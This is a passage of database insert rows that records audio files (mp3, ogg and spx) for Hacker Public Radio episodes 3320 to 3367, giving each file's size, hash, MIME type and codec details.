(3320,'hpr3320.mp3','mp3',8118020,'acefc9d8ace242b20fb347ad987990b3b782a3ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3320,'hpr3320.ogg','ogg',9110458,'9cf5c280461b280f75be1cc44efe60066bdf6e69','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3320,'hpr3320.spx','spx',3625375,'c9517b7d2a04741f679b758301e2c0e7f3bb3d2d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3321,'hpr3321.mp3','mp3',16432244,'6063cc2c2e4bab375deed4b9e4097cc92e7b2de0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3321,'hpr3321.ogg','ogg',17978699,'2d1e41de81f6741647aedaf9aa8bffb9520d662d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3321,'hpr3321.spx','spx',7338577,'465aed8cde21195fb296a9c19308af0d1cf1e996','application/ogg; charset=binary','Ogg data, Speex audio'),
(3322,'hpr3322.mp3','mp3',11204598,'f91aae359031077d2bcd190579c1f7dc62759f6f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3322,'hpr3322.ogg','ogg',12705473,'f1804d98ff12671c1014c50726f7757a946060e1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3322,'hpr3322.spx','spx',5003815,'eb779c549c3090c739fb7298a399efe5b0257548','application/ogg; charset=binary','Ogg data, Speex audio'),
(3323,'hpr3323.mp3','mp3',14397639,'5ac2780cb29207d94a7af36b1245c6d17fcdeafa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3323,'hpr3323.ogg','ogg',16276784,'92d83ef508e103e469c6d812fcf6b785c2089fe4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3323,'hpr3323.spx','spx',6429858,'840f84f585c861ec9e558b6b7d05fbea8ca57f33','application/ogg; charset=binary','Ogg data, Speex audio'),
(3324,'hpr3324.mp3','mp3',4666515,'a60c221445d7bfd7ceb7d281ff5777776fa87afc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3324,'hpr3324.ogg','ogg',5292728,'0274c3e50f770d912e170d14f399ad899b40cfd4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3324,'hpr3324.spx','spx',2083839,'d21c5347685ee579ac67012cf9d9b872fa14fd24','application/ogg; charset=binary','Ogg data, Speex audio'),
(3325,'hpr3325.mp3','mp3',12331015,'46f54f9f7d43ae9919e227a731773f96e9e594be','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3325,'hpr3325.ogg','ogg',13683225,'a6e20643db1a0ea812144ba919d4a0894ebf1a4b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3325,'hpr3325.spx','spx',5506912,'9b6557161cbf8e3d115e833e203218c4d57a8dd2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3326,'hpr3326.mp3','mp3',39780517,'cbba8949ea6cc434c5c7371f7eaefba560d1f61c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3326,'hpr3326.ogg','ogg',39329414,'17a6cd3a73507d5f430c4debab63b594226e856b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3326,'hpr3326.spx','spx',17766193,'91430539ff6003a0305ac68783ee3d3699cc66ce','application/ogg; charset=binary','Ogg data, Speex audio'),
(3327,'hpr3327.mp3','mp3',6892155,'e9e8c44b652e86623bd70436b8e31c6fba14d636','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3327,'hpr3327.ogg','ogg',7723019,'9f84db474ea590ecdaa6f85407c039394dd5e933','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3327,'hpr3327.spx','spx',3077872,'73ff0a84931c682d1e1f996ceaf3785ada7ac6cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3328,'hpr3328.mp3','mp3',6577387,'cfb6b0bdfef1fb599cfe649797a0ded965b33e9c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3328,'hpr3328.ogg','ogg',7285314,'233f9359d9dba4bc8a989a7816ca993215dd1402','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3328,'hpr3328.spx','spx',2937209,'e9f5e531e6c8a176e967dad22710488715e6eabe','application/ogg; charset=binary','Ogg data, Speex audio'),
(3329,'hpr3329.mp3','mp3',41743306,'85bb0ff6317e115ab712eef3def0d165982a2c80','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3329,'hpr3329.ogg','ogg',39340209,'ff73d24a599d231d147ce4ea7d706b45cf74f3e7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3329,'hpr3329.spx','spx',18642748,'7fe581b309ad83db61975b83a7c0ab067b63cec3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3330,'hpr3330.mp3','mp3',8582540,'addb9c7084ed1b8bea393e74f32afcce5b9b7872','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3330,'hpr3330.ogg','ogg',9728890,'7a7e6c79d978169b1ab5cf94b16b44846560d024','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3330,'hpr3330.spx','spx',3832698,'56ba5f3253b4ee9a7b720d60f965968606c01a58','application/ogg; charset=binary','Ogg data, Speex audio'),
(3331,'hpr3331.mp3','mp3',11557621,'100dcc358537a9532707cf08c0aa175fb5f1d153','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3331,'hpr3331.ogg','ogg',12959105,'116c6dd5e8aec6604b608d35722564b8aab518e6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3331,'hpr3331.spx','spx',5161523,'bdfcd626d50d2a11d6e5406a9c80c6c45283f7ea','application/ogg; charset=binary','Ogg data, Speex audio'),
(3332,'hpr3332.mp3','mp3',6255551,'7ced677afc6e1b30d1f61cadc2cf7c0d0de7b5f0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3332,'hpr3332.ogg','ogg',6434995,'18d23b5f53710a44e1ab717b8281d67d21f1628f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3332,'hpr3332.spx','spx',2793502,'9544fdb9ec656553fba30ae063d520c600df8f3d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3333,'hpr3333.mp3','mp3',12406441,'471f58452771627ba346237ab41b17f81de29840','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3333,'hpr3333.ogg','ogg',12633221,'dfe1a8de768e63d13e57fcc8c52e28e0c6b5a17c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3333,'hpr3333.spx','spx',5540553,'b80ba3d2a215c6b50b05bbfd26a9d8d27eafda43','application/ogg; charset=binary','Ogg data, Speex audio'),
(3334,'hpr3334.mp3','mp3',5322075,'9dc76ce810bfcb87ecac5060657f0f8a19a55e30','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3334,'hpr3334.ogg','ogg',6283434,'3666074b11971a929a20bd794efd9437fdc21cd5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3334,'hpr3334.spx','spx',2376651,'e4c3b09a00dc674ff2a0314c7c355c5573650a0f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3335,'hpr3335.mp3','mp3',12187900,'93b524dd9f01fddbcdda52063d4a9702bb9ca215','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3335,'hpr3335.ogg','ogg',13393151,'da1cbad7e4635967adbf7b9324b5818aab7a5c6f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3335,'hpr3335.spx','spx',5443042,'f067e316a263cba2fd7141bcc23fb5e072f60904','application/ogg; charset=binary','Ogg data, Speex audio'),
(3336,'hpr3336.mp3','mp3',51074790,'d26bb7f7e2cbdad1abdaa15786abc31f9af777e0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3336,'hpr3336.ogg','ogg',50189741,'ba8db0bacb0f884f4ad3f6c91bdb89ab3217978d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3336,'hpr3336.spx','spx',22810231,'0db117da6007357b9147b9151146750c082945fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3337,'hpr3337.mp3','mp3',4561564,'5d7ff3696200fa81414c2328e70f915a4417baa8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3337,'hpr3337.ogg','ogg',5098346,'6c68dbb1dfa375dbd25b571144166a2b7483dc16','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3337,'hpr3337.spx','spx',2037065,'ac629500e00542534f112d494ebc6f6202695145','application/ogg; charset=binary','Ogg data, Speex audio'),
(3338,'hpr3338.mp3','mp3',9866734,'14314db506c3e2c73c4b26789942a4ca1a8e21b1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3338,'hpr3338.ogg','ogg',11133859,'bc14f0ffd1b43867edf0152fecdc16b7caf7ddc4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3338,'hpr3338.spx','spx',4406329,'fbb19ef2188941729241daad54519b0e3d8ff446','application/ogg; charset=binary','Ogg data, Speex audio'),
(3339,'hpr3339.mp3','mp3',28818549,'42a9b8e05ca04452310671928de099f5b64476ef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3339,'hpr3339.ogg','ogg',27524973,'3905dd9b6cee91f87ad5bafa1f7cc68b2eee80a7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3339,'hpr3339.spx','spx',12870409,'3c2ac34007f207d892827d7cfeb74caeae3653b5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3340,'hpr3340.mp3','mp3',5951704,'443c94e835c48de16cff1e2d79fb017970b89bd1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3340,'hpr3340.ogg','ogg',6849475,'75f82b0fa7a14e0b167ca822681a177ace459e92','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3340,'hpr3340.spx','spx',2657819,'a360080243694f06b6e266cd7fcc0c7ce1c5bc11','application/ogg; charset=binary','Ogg data, Speex audio'),
(3341,'hpr3341.mp3','mp3',3677652,'054a07565b73bf4a9a4751bb20ee8a5cf621778b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3341,'hpr3341.ogg','ogg',3811041,'16f9da4e2cbf6e5e22eec43e3a2cdf026ad8708a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3341,'hpr3341.spx','spx',1642252,'236a3edaea5ba7768453b1294ff45a3eaa4e66fc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3342,'hpr3342.mp3','mp3',30525615,'9b8c2d55eaaa97552553d5e7a97ed077254464ae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3342,'hpr3342.ogg','ogg',30649252,'c415b21bce8413d48433c41df087c46e3414f09f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3342,'hpr3342.spx','spx',13632777,'3f2b30868b1e24cce323615f8959fccd60b7a4ce','application/ogg; charset=binary','Ogg data, Speex audio'),
(3343,'hpr3343.mp3','mp3',7205361,'ba8bd2809a3c477374ce26fc1cde601549dbecc4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3343,'hpr3343.ogg','ogg',7589391,'07856c002c562bc1af4d1c04ae9a987d5cea68ff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3343,'hpr3343.spx','spx',3217754,'86b21eb66982a231c34f53e5b504ed248be9db1c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3344,'hpr3344.mp3','mp3',4112952,'d6727e392376b8e1974cd4cc622aafbafd7c8666','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3344,'hpr3344.ogg','ogg',4613311,'e2e2f34d7ac7cbaf85207aed305a2965fc8113e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3344,'hpr3344.spx','spx',1836610,'71e3b3128c08b36d78f78c7f2049237822bd5b15','application/ogg; charset=binary','Ogg data, Speex audio'),
(3345,'hpr3345.mp3','mp3',8075810,'519cb8906b0e07a8ff2ddfeaead4080a82aad70e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3345,'hpr3345.ogg','ogg',9032871,'c1347956f3bc25567e7a1f7b3d8000321410db59','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3345,'hpr3345.spx','spx',3606456,'544d72c130bc75f3f47a5b2131848144390ad5fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3346,'hpr3346.mp3','mp3',85063858,'553da3dd1025d1bc1cb7a360541d7a023aafd9df','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3346,'hpr3346.ogg','ogg',88516896,'a1b6ddbf1826ad4698e5a6c3174abbba75ab683e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3346,'hpr3346.spx','spx',37990174,'901d83e3fe8ef19a4dda7d6d940df536209cc591','application/ogg; charset=binary','Ogg data, Speex audio'),
(3347,'hpr3347.mp3','mp3',8387217,'2e9f6d4984dd6fca673094199002e4ad33270a95','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3347,'hpr3347.ogg','ogg',9386531,'404a61a9d9092dba2e06d1c6b513cfec85590e8d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3347,'hpr3347.spx','spx',3745611,'f2c27ad5ff06eb3ba891c0f2f67a06754797b6b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3348,'hpr3348.mp3','mp3',36491782,'0715173550faf90be57e97f566f4396e92863391','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3348,'hpr3348.ogg','ogg',35151047,'c858f5731a2a62199090512221297a5068ce33f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3348,'hpr3348.spx','spx',16297298,'f94dad3fd7e0882adf6989578104f3ebc9dcdd55','application/ogg; charset=binary','Ogg data, Speex audio'),
(3349,'hpr3349.mp3','mp3',32572430,'c3a525921a9d388ee77368bf33716172a50d00fc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3349,'hpr3349.ogg','ogg',29317674,'8f926ec2d8d26b766557bc6f2ed707487a6fcbb3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3349,'hpr3349.spx','spx',14546937,'da57e3272bbe0d6ddff778f0d250e0d1f275bfe9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3350,'hpr3350.mp3','mp3',11679400,'e7d97d085f18734140c8a0384a410df929b1a0b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3350,'hpr3350.ogg','ogg',13321925,'19cefe5dd10d28339a35b89348cf35c1ac79e294','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3350,'hpr3350.spx','spx',5215849,'ec3dd5c93eba715ff5037e2084e20e2f2a5b7d42','application/ogg; charset=binary','Ogg data, Speex audio'),
(3351,'hpr3351.mp3','mp3',31644693,'66243ec0b0bb8c61f89907941971c749bb1dcc76','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3351,'hpr3351.ogg','ogg',33490951,'027845fca0ffc46bff2eec22201ac03674f78ca7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3351,'hpr3351.spx','spx',14132628,'aa46355c4aac6e0050e94f7f76e7051b047b7687','application/ogg; charset=binary','Ogg data, Speex audio'),
(3352,'hpr3352.mp3','mp3',33101500,'555f63e504f3388cb0104782810b9bed8e7aaf26','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3352,'hpr3352.ogg','ogg',33051250,'1e23c3760867974c754e220f87a4df47cb318188','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3352,'hpr3352.spx','spx',14783180,'487351892f370a8f3d8995cf883eca4fe7a4aa74','application/ogg; charset=binary','Ogg data, Speex audio'),
(3353,'hpr3353.mp3','mp3',22831601,'54c780e478606ec7eee46d9e0ae7e44345970511','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3353,'hpr3353.ogg','ogg',27111735,'2ac489a3c9a64e679a12e7a9aeebc38de2621087','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3353,'hpr3353.spx','spx',10196583,'cfd75918c50f0587017e6746c63683ad8432fd15','application/ogg; charset=binary','Ogg data, Speex audio'),
(3354,'hpr3354.mp3','mp3',12766941,'9f6fbc752af7e7c17583dbc222dd70de53762039','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3354,'hpr3354.ogg','ogg',14344232,'45d4beb9a3cca3635bb5156691c8af8ae144640e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3354,'hpr3354.spx','spx',5701623,'06ee2df90cf9c18362c110725e55c88f5f3e302d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3355,'hpr3355.mp3','mp3',7199699,'c98d0646218b01321000528d2ab32be3e41306c8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3355,'hpr3355.ogg','ogg',9019160,'3d4a1fd5d9a3c1e703aeac27e5b21905724e91c4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3355,'hpr3355.spx','spx',3215151,'a43674838f33b5f9b8134b19185f339db36ba94a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3356,'hpr3356.mp3','mp3',136395724,'d618b9983ae036323ff62ee80a33a19f281402eb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3356,'hpr3356.ogg','ogg',141275208,'a7f15b70b2977b8d1dae747a8ed43727a72a3a99','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3356,'hpr3356.spx','spx',60915433,'cba38a309959ccfc063b20b2c73f71613927d7d4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3357,'hpr3357.mp3','mp3',15458592,'7f5554ebd92d550112a23b678632a933d9ab742d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3357,'hpr3357.ogg','ogg',18448693,'422ccec21b1df941a650c342439605386c5c39a7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3357,'hpr3357.spx','spx',6903745,'1fc9cbaed1d1b573965821d721f6e0d15268b630','application/ogg; charset=binary','Ogg data, Speex audio'),
(3358,'hpr3358.mp3','mp3',10924010,'dba877cc46c282ccd81c4f316c2a054f857c0419','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3358,'hpr3358.ogg','ogg',11770574,'153a73db0ff6384cc2827c4c41565c5760dd83d8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3358,'hpr3358.spx','spx',4878498,'6cc2f81a4ca3afb75fd813a2b05244f8f47844e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3359,'hpr3359.mp3','mp3',23841700,'9a9f9d69cbb416ab3ea9e30588f9a66553aecc35','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3359,'hpr3359.ogg','ogg',23377641,'8dcd0590443545927cc77994040c9906e398a9e7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3359,'hpr3359.spx','spx',10647725,'e404bbe1c30d775fa64d4b1a4b20d7e537dc32db','application/ogg; charset=binary','Ogg data, Speex audio'),
(3360,'hpr3360.mp3','mp3',6435258,'a60c8089ba51d02797902a8819c2c81b92e79edc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3360,'hpr3360.ogg','ogg',7378083,'11d84de3dca3b51a820b68864f8d7ad3144ce212','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3360,'hpr3360.spx','spx',2873733,'0c2b686603272d4d95082366a536f648b0e5e0f9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3361,'hpr3361.mp3','mp3',103066614,'0e5ee4bab54cdaa2c63df4d313ba152077a71df0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3361,'hpr3361.ogg','ogg',115298481,'4bb5b9e881f73f8776d17837e2d82fe6c269ea70','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3361,'hpr3361.spx','spx',46030299,'c7ab2917258c0ed09069c582550c11e877bbe8f2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3362,'hpr3362.mp3','mp3',10333841,'8207baa0a44d459ba588ba8f32659a7f819a47fd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3362,'hpr3362.ogg','ogg',9377623,'1075bfa8d7a92b0b5d435fade05ad7393bf5f30f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3362,'hpr3362.spx','spx',4614939,'ae02182684f356de7929cf4d8fe1475947e30d9e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3363,'hpr3363.mp3','mp3',3714591,'5e6a32d901d832c3ac0567e95e2d7bb02167c800','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3363,'hpr3363.ogg','ogg',4105700,'136e5d0d3154466f8a6bdafef1a8c681fc7374f7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3363,'hpr3363.spx','spx',1658782,'50e3fe5f46072884cab91c21dd7e6b55c13255bd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3364,'hpr3364.mp3','mp3',1907305,'0d5d07b4241294eea9caea5ad31901fcf56bb389','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3364,'hpr3364.ogg','ogg',2098338,'4642698eb9d11c7f07fa6b4759b66ea499c49cf4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3364,'hpr3364.spx','spx',851552,'8722bfc23be06d48e6e5bc5c8ac3071bd57e23f4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3365,'hpr3365.mp3','mp3',4729152,'ad0771c4db60005ba4fb8dd09779a0ae0091055a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3365,'hpr3365.ogg','ogg',5170364,'b8a7cd12a9f977626a368afa16afe7da1f011b7f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3365,'hpr3365.spx','spx',2111847,'b1655fca6fabdbbc2d780904c9ee9eeb338c694c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3366,'hpr3366.mp3','mp3',79584413,'7d92fdea6f4c725c35683818ab2200ab1a18c6c2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3366,'hpr3366.ogg','ogg',80339364,'ba4082734ef05312d9dd5e140349e8cbfe40ecfd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3366,'hpr3366.spx','spx',35542977,'48520fe3545b5754d4588d9e069f3576c766aefd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3367,'hpr3367.mp3','mp3',22536997,'7dd4f955214d11162c4c3cda240f4c77c4cb9d56','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3367,'hpr3367.ogg','ogg',22751996,'856a3989e6a84277a7ca76e9b6351fa87147fb56','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3367,'hpr3367.spx','spx',10064950,'740aa3d720aef2c57d0113dd8f1c90bd00b246df','application/ogg; charset=binary','Ogg data, Speex audio'),
